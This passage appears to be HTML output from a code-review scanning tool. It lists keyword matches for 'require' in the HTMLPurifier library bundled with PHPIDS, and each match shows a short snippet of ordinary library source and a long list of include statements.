class='poi_content'> <pre class='snippet'><code>103- 104- // if we've already got a literal object, move on 105- if (is_object($def)) { 106: // preserve previous <span class='match_highlight'>require</span>d 107: $attr[$def_i]-><span class='match_highlight'>require</span>d = ($<span class='match_highlight'>require</span>d || $attr[$def_i]-><span class='match_highlight'>require</span>d); 108- continue; 109- } 110-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php</span>:<span class='line_number'>118</span> <span class='match_count'>(64/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>115- 116- if ($t = $attr_types->get($def)) { 117- $attr[$def_i] = $t; 118: $attr[$def_i]-><span class='match_highlight'>require</span>d = $<span class='match_highlight'>require</span>d; 119- } else { 120- unset($attr[$def_i]); 121- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php</span>:<span class='line_number'>314</span> <span class='match_count'>(65/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>311- } 312- 313- /** 314: * Determines if a particular token <span class='match_highlight'>require</span>s an earlier inline token 315- * to get a paragraph. This should be used with _forwardUntilEndToken 316- */ 317- private function _checkNeedsP($current) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>23</span> <span class='match_count'>(66/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- * convenience functions for subclasses. 21- * 22- * @note The unit tests will instantiate this class for testing purposes, as 23: * many of the utility functions <span class='match_highlight'>require</span> a class to be instantiated. 24- * This means that, even though this class is not runnable, it will 25- * not be declared abstract. 26- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>176</span> <span class='match_count'>(67/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>173- */ 174- public function parseData($string) { 175- 176: // following functions <span class='match_highlight'>require</span> at least one character 177- if ($string === '') return ''; 178- 179- // subtracts amps that cannot possibly be escaped</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php</span>:<span class='line_number'>115</span> <span class='match_count'>(68/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>112- return $value; 113- } 114- switch ($def->content_model_type) { 115: case '<span class='match_highlight'>require</span>d': 116- return new HTMLPurifier_ChildDef_Required($value); 117- case 'optional': 118- return new HTMLPurifier_ChildDef_Optional($value);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Bdo.php</span>:<span class='line_number'>19</span> <span class='match_count'>(69/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- $bdo = $this->addElement( 17- 'bdo', 'Inline', 'Inline', array('Core', 'Lang'), 18- array( 19: 'dir' => 'Enum#ltr,rtl', // <span class='match_highlight'>require</span>d 20- // The Abstract Module specification has the attribute 21- // inclusions wrong for bdo: bdo allows Lang 22- ) 23- ); 24: $bdo->attr_transform_post['<span class='match_highlight'>require</span>d-dir'] = new HTMLPurifier_AttrTransform_BdoDir(); 25- 26- $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; 27- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeObject.php</span>:<span class='line_number'>26</span> <span class='match_count'>(70/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>23- 'Optional: param | Flow | #PCDATA', 24- 'Common', 25- array( 26: // While technically not <span class='match_highlight'>require</span>d by the spec, we're forcing 27- // it to this value. 28- 'type' => 'Enum#application/x-shockwave-flash', 29- 'width' => 'Pixels#' . $max,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php</span>:<span class='line_number'>28</span> <span class='match_count'>(71/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- // auto-wraps stray #PCDATA in a similar manner to 26- // blockquote's custom definition (we would use it but 27- // blockquote's contents are optional while noscript's contents 28: // are <span class='match_highlight'>require</span>d) 29- 30- // TODO: convert this to new syntax, main problem is getting 31- // both content sets working</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php</span>:<span class='line_number'>38</span> <span class='match_count'>(72/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>35- $this->info['noscript'] = new HTMLPurifier_ElementDef(); 36- $this->info['noscript']->attr = array( 0 => array('Common') ); 37- $this->info['noscript']->content_model = 'Heading | List | Block'; 38: $this->info['noscript']->content_model_type = '<span class='match_highlight'>require</span>d'; 39- 40- $this->info['script'] = new HTMLPurifier_ElementDef(); 41- $this->info['script']->attr = array(</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php</span>:<span class='line_number'>390</span> <span class='match_count'>(73/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>387- // mix it in with 388- if (!$def) return false; 389- 390: // add information on <span class='match_highlight'>require</span>d attributes 391- foreach ($def->attr as $attr_name => $attr_def) { 392: if ($attr_def-><span class='match_highlight'>require</span>d) { 393: $def-><span class='match_highlight'>require</span>d_attr[] = $attr_name; 394- } 395- } 396-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>340</span> <span class='match_count'>(74/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>337- * @note This is a DUMB function: it has no concept of keeping 338- * character entities that the projected character encoding 339- * can allow. We could possibly implement a smart version 340: * but that would <span class='match_highlight'>require</span> it to also know which Unicode 341- * codepoints the charset supported (not an easy task). 342- * @note Sort of with cleanUTF8() but it assumes that $str is 343- * well-formed UTF-8</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>379</span> <span class='match_count'>(75/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>376- /** 377- * This expensive function tests whether or not a given character 378- * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will 379: * fail this test, and <span class='match_highlight'>require</span> special processing. Variable width 380- * encodings shouldn't ever fail. 381- * 382- * @param string $encoding Encoding name to test, as per iconv format</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Required.php</span>:<span class='line_number'>32</span> <span class='match_count'>(76/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>29- $this->elements = $elements; 30- } 31- public $allow_empty = false; 32: public $type = '<span class='match_highlight'>require</span>d'; 33- public function validateChildren($tokens_of_children, $config, $context) { 34- // if there are no tokens, delete parent node 35- if (empty($tokens_of_children)) return false;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en.php</span>:<span class='line_number'>28</span> <span class='match_count'>(77/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25-'Lexer: Missing end quote' => 'Attribute declaration has no end quote', 26- 27-'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized', 28:'Strategy_RemoveForeignElements: Missing <span class='match_highlight'>require</span>d attribute' => '$CurrentToken.Compact element missing <span class='match_highlight'>require</span>d attribute $1', 29-'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text', 30-'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed', 31-'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed',</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php</span>:<span class='line_number'>4</span> <span class='match_count'>(78/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * Validates the attributes of a token. Doesn't manage <span class='match_highlight'>require</span>d attributes 5- * very well. The only reason we factored this out was because RemoveForeignElements 6- * also needed it besides ValidateAttributes. 7- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php</span>:<span class='line_number'>14</span> <span class='match_count'>(79/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- /** 12- * Validates the attributes of a token, returning a modified token 13- * that has valid tokens 14: * @param $token Reference to token to validate. We <span class='match_highlight'>require</span> a reference 15- * because the operation this class performs on the token are 16- * not atomic, so the context CurrentToken to be updated 17- * throughout</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php</span>:<span class='line_number'>23</span> <span class='match_count'>(80/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- public $minimized = false; 21- 22- /** 23: * Tells us whether or not an HTML attribute is <span class='match_highlight'>require</span>d. Has no 24- * meaning in other contexts 25- */ 26: public $<span class='match_highlight'>require</span>d = false; 27- 28- /** 29- * Validates and cleans passed string according to a definition.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php</span>:<span class='line_number'>156</span> <span class='match_count'>(81/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>153- $ret .= $this->element('td',$this->listifyAttr($def->attr), array(), 0); 154- $ret .= $this->end('tr'); 155- 156: if (!empty($def-><span class='match_highlight'>require</span>d_attr)) { 157: $ret .= $this->row('Required attributes', $this->listify($def-><span class='match_highlight'>require</span>d_attr)); 158- } 159- 160- $ret .= $this->renderChildren($def->child);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php</span>:<span class='line_number'>6</span> <span class='match_count'>(82/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * @file 5- * This file was auto-generated by generate-includes.php and includes all of 6: * the core files <span class='match_highlight'>require</span>d by HTML Purifier. Use this if performance is a 7- * primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS 8- * FILE, changes will be overwritten the next time the script is run. 9- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.includes.php</span>:<span class='line_number'>14</span> <span class='match_count'>(83/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- * 12- * @warning 13- * You must *not* include any other HTML Purifier files before this file, 14: * because '<span class='match_highlight'>require</span>' not '<span class='match_highlight'>require</span>_once' is used. 15- * 16- * @warning 17: * This file <span class='match_highlight'>require</span>s that the include path contains the HTML Purifier 18- * library directory; this is not auto-set. 19- */ 20- 21:<span class='match_highlight'>require</span> 'HTMLPurifier.php'; 22:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrCollections.php'; 23:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef.php'; 24:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform.php'; 25:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTypes.php'; 26:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrValidator.php'; 27:<span class='match_highlight'>require</span> 'HTMLPurifier/Bootstrap.php'; 28:<span class='match_highlight'>require</span> 'HTMLPurifier/Definition.php'; 29:<span class='match_highlight'>require</span> 'HTMLPurifier/CSSDefinition.php'; 30:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef.php'; 31:<span class='match_highlight'>require</span> 'HTMLPurifier/Config.php'; 32:<span class='match_highlight'>require</span> 'HTMLPurifier/ConfigSchema.php'; 33:<span class='match_highlight'>require</span> 'HTMLPurifier/ContentSets.php'; 34:<span class='match_highlight'>require</span> 'HTMLPurifier/Context.php'; 35:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache.php'; 36:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCacheFactory.php'; 37:<span class='match_highlight'>require</span> 'HTMLPurifier/Doctype.php'; 38:<span class='match_highlight'>require</span> 'HTMLPurifier/DoctypeRegistry.php'; 39:<span class='match_highlight'>require</span> 'HTMLPurifier/ElementDef.php'; 40:<span class='match_highlight'>require</span> 'HTMLPurifier/Encoder.php'; 41:<span class='match_highlight'>require</span> 'HTMLPurifier/EntityLookup.php'; 42:<span class='match_highlight'>require</span> 'HTMLPurifier/EntityParser.php'; 43:<span class='match_highlight'>require</span> 'HTMLPurifier/ErrorCollector.php'; 44:<span class='match_highlight'>require</span> 'HTMLPurifier/ErrorStruct.php'; 45:<span class='match_highlight'>require</span> 'HTMLPurifier/Exception.php'; 46:<span class='match_highlight'>require</span> 'HTMLPurifier/Filter.php'; 47:<span class='match_highlight'>require</span> 'HTMLPurifier/Generator.php'; 48:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLDefinition.php'; 49:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule.php'; 50:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModuleManager.php'; 51:<span class='match_highlight'>require</span> 'HTMLPurifier/IDAccumulator.php'; 52:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector.php'; 53:<span class='match_highlight'>require</span> 'HTMLPurifier/Language.php'; 54:<span class='match_highlight'>require</span> 'HTMLPurifier/LanguageFactory.php'; 55:<span class='match_highlight'>require</span> 'HTMLPurifier/Length.php'; 56:<span class='match_highlight'>require</span> 'HTMLPurifier/Lexer.php'; 57:<span class='match_highlight'>require</span> 'HTMLPurifier/PercentEncoder.php'; 58:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy.php'; 59:<span class='match_highlight'>require</span> 'HTMLPurifier/StringHash.php'; 60:<span class='match_highlight'>require</span> 'HTMLPurifier/StringHashParser.php'; 61:<span class='match_highlight'>require</span> 'HTMLPurifier/TagTransform.php'; 62:<span class='match_highlight'>require</span> 'HTMLPurifier/Token.php'; 63:<span class='match_highlight'>require</span> 'HTMLPurifier/TokenFactory.php'; 64:<span class='match_highlight'>require</span> 'HTMLPurifier/URI.php'; 65:<span class='match_highlight'>require</span> 'HTMLPurifier/URIDefinition.php'; 66:<span class='match_highlight'>require</span> 'HTMLPurifier/URIFilter.php'; 67:<span class='match_highlight'>require</span> 'HTMLPurifier/URIParser.php'; 68:<span class='match_highlight'>require</span> 'HTMLPurifier/URIScheme.php'; 69:<span class='match_highlight'>require</span> 'HTMLPurifier/URISchemeRegistry.php'; 70:<span class='match_highlight'>require</span> 'HTMLPurifier/UnitConverter.php'; 71:<span class='match_highlight'>require</span> 'HTMLPurifier/VarParser.php'; 72:<span class='match_highlight'>require</span> 'HTMLPurifier/VarParserException.php'; 73:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS.php'; 74:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/Enum.php'; 75:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/Integer.php'; 76:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/Lang.php'; 77:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/Switch.php'; 78:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/Text.php'; 79:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI.php'; 80:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Number.php'; 81:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/AlphaValue.php'; 82:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Background.php'; 83:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; 84:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Border.php'; 85:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Color.php'; 86:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Composite.php'; 87:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php'; 88:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Filter.php'; 89:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Font.php'; 90:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/FontFamily.php'; 91:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/ImportantDecorator.php'; 92:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Length.php'; 93:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/ListStyle.php'; 94:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Multiple.php'; 95:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/Percentage.php'; 96:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/TextDecoration.php'; 97:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/CSS/URI.php'; 98:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/Bool.php'; 99:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/Color.php'; 100:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/FrameTarget.php'; 101:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/ID.php'; 102:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/Pixels.php'; 103:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/Length.php'; 104:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/LinkTypes.php'; 105:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/MultiLength.php'; 106:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/HTML/Nmtokens.php'; 107:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI/Email.php'; 108:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI/Host.php'; 109:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI/IPv4.php'; 110:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI/IPv6.php'; 111:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; 112:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Background.php'; 113:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/BdoDir.php'; 114:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/BgColor.php'; 115:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/BoolToCSS.php'; 116:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Border.php'; 117:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/EnumToCSS.php'; 118:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/ImgRequired.php'; 119:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/ImgSpace.php'; 120:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Input.php'; 121:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Lang.php'; 122:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Length.php'; 123:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Name.php'; 124:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/SafeEmbed.php'; 125:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/SafeObject.php'; 126:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/SafeParam.php'; 127:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/ScriptRequired.php'; 128:<span class='match_highlight'>require</span> 'HTMLPurifier/AttrTransform/Textarea.php'; 129:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Chameleon.php'; 130:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Custom.php'; 131:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Empty.php'; 132:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Required.php'; 133:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Optional.php'; 134:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/StrictBlockquote.php'; 135:<span class='match_highlight'>require</span> 'HTMLPurifier/ChildDef/Table.php'; 136:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache/Decorator.php'; 137:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache/Null.php'; 138:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache/Serializer.php'; 139:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; 140:<span class='match_highlight'>require</span> 'HTMLPurifier/DefinitionCache/Decorator/Memory.php'; 141:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Bdo.php'; 142:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/CommonAttributes.php'; 143:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Edit.php'; 144:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Forms.php'; 145:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Hypertext.php'; 146:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Image.php'; 147:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Legacy.php'; 148:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/List.php'; 149:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Name.php'; 150:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; 151:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Object.php'; 152:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Presentation.php'; 153:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Proprietary.php'; 154:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Ruby.php'; 155:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/SafeEmbed.php'; 156:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/SafeObject.php'; 157:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Scripting.php'; 158:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/StyleAttribute.php'; 159:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tables.php'; 160:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Target.php'; 161:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Text.php'; 162:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy.php'; 163:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; 164:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/Name.php'; 165:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; 166:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; 167:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/Strict.php'; 168:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/Transitional.php'; 169:<span class='match_highlight'>require</span> 'HTMLPurifier/HTMLModule/Tidy/XHTML.php'; 170:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/AutoParagraph.php'; 171:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/DisplayLinkURI.php'; 172:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/Linkify.php'; 173:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/PurifierLinkify.php'; 174:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/RemoveEmpty.php'; 175:<span class='match_highlight'>require</span> 'HTMLPurifier/Injector/SafeObject.php'; 176:<span class='match_highlight'>require</span> 'HTMLPurifier/Lexer/DOMLex.php'; 177:<span class='match_highlight'>require</span> 'HTMLPurifier/Lexer/DirectLex.php'; 178:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/Composite.php'; 179:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/Core.php'; 180:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/FixNesting.php'; 181:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/MakeWellFormed.php'; 182:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/RemoveForeignElements.php'; 183:<span class='match_highlight'>require</span> 'HTMLPurifier/Strategy/ValidateAttributes.php'; 184:<span class='match_highlight'>require</span> 'HTMLPurifier/TagTransform/Font.php'; 185:<span class='match_highlight'>require</span> 'HTMLPurifier/TagTransform/Simple.php'; 186:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/Comment.php'; 187:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/Tag.php'; 188:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/Empty.php'; 189:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/End.php'; 190:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/Start.php'; 191:<span class='match_highlight'>require</span> 'HTMLPurifier/Token/Text.php'; 192:<span class='match_highlight'>require</span> 'HTMLPurifier/URIFilter/DisableExternal.php'; 193:<span class='match_highlight'>require</span> 'HTMLPurifier/URIFilter/DisableExternalResources.php'; 194:<span class='match_highlight'>require</span> 'HTMLPurifier/URIFilter/HostBlacklist.php'; 195:<span class='match_highlight'>require</span> 